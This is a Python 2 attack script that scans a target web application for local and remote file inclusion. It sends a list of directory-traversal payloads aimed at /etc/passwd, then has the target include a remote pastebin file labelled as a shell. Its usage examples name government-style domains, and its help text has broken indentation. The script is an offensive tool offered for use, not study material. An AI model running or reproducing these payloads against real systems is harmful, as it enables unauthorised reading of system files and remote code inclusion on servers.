Local/Remote File Inclusion (LFI/RFI)

#!/usr/bin/python

import sys, os, time, re, urllib2, socket, httplib

if sys.platform == 'linux' or sys.platform == 'linux2':
    clearing = 'clear'
else:
    clearing = 'cls'
os.system(clearing)

proxy = "NONE"
count = 0

if len(sys.argv) < 2 or len(sys.argv) > 4:

    sys.exit(1)

for arg in sys.argv:
    if arg == '-h' or arg == '--help' or arg == '-help':
        print "\n|-------------------------------------------------------------------------------|"

                print "| Usage: lfi-rfi.py www.site.com                                                |"
            print "| Example: lfi-rfi.py http://azzatssins.gov/index.php?anu=             |"
        print "| Proxy: lfi-rfi.py http://cyberserkers.gov/index.php?anu= -p PROXY      |"

                print "|-------------------------------------------------------------------------------|\n"
        sys.exit(1)
    elif arg == '-p':
        proxy = sys.argv[count+1]
    count += 1

lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]

site = sys.argv[1]
shell = 'http://pastebin.com/raw/ngqrkRMd'
if site[:4] != "http":
    site = "http://"+site
if site[-1] != "=":
    site = site + "="

print "\n[-] %s" % time.strftime("%X")
print
print "-"*80
print "\t\t\tCHECKING FOR LFI"
print "-"*80
print "\n[+] TARGET : ",site
print "[+]",len(lfis),"LFI LOADED..."
print "[+] SCANNING...\n"

try:
    if proxy != "NONE":
        print "\n[+] TESTING PROXY..."
        pr = httplib.HTTPConnection(proxy)
        pr.connect()
        print "[+] PROXY : ",proxy
        print "[+] BUILDING HANDLER "
        print
        proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
    else:
        print "\n[-] PROXY NOT GIVEN"
        print
        proxy_handler = ""
except(socket.timeout):
        print "\n[-] PROXY TIME OUT"
        sys.exit(1)
except(),msg:
        print msg
        print "\n[-] PROXY FAILED"
        sys.exit(1)




for lfi in lfis:
    print "[+] CHECKING : " ,site+lfi.replace("\n","")
    print
    proxyfier = urllib2.build_opener(proxy_handler)
    try:
        check = proxyfier.open(site+lfi.replace("\n", "")).read()
        if re.findall("root:x:", check):
            print "[!] FOUND : ",lfi
            print
        else:
            print "[-] NOT FOUND : ",lfi
            print
    except(urllib2.HTTPError):
            pass
    except(KeyboardInterrupt, SystemExit):
            raise
print
print "-"*80
print "\t\t\tCHECKING FOR RFI"
print "-"*80
print "\n[+] TARGET : ",site
print "[+] SCANNING...\n"

try:
    check = proxyfier.open(site+'http://pastebin.com/raw/ngqrkRMd').read()
    if re.findall("AZZATSSINS", check):
        print "[!] FOUND : ",site+shell
        print
    else:
        print "[-] NOT FOUND: ",site+shell
        print
except(urllib2.HTTPError):
        pass
except(KeyboardInterrupt, SystemExit):
        pass

print
print "\n[-] %s" % time.strftime("%X")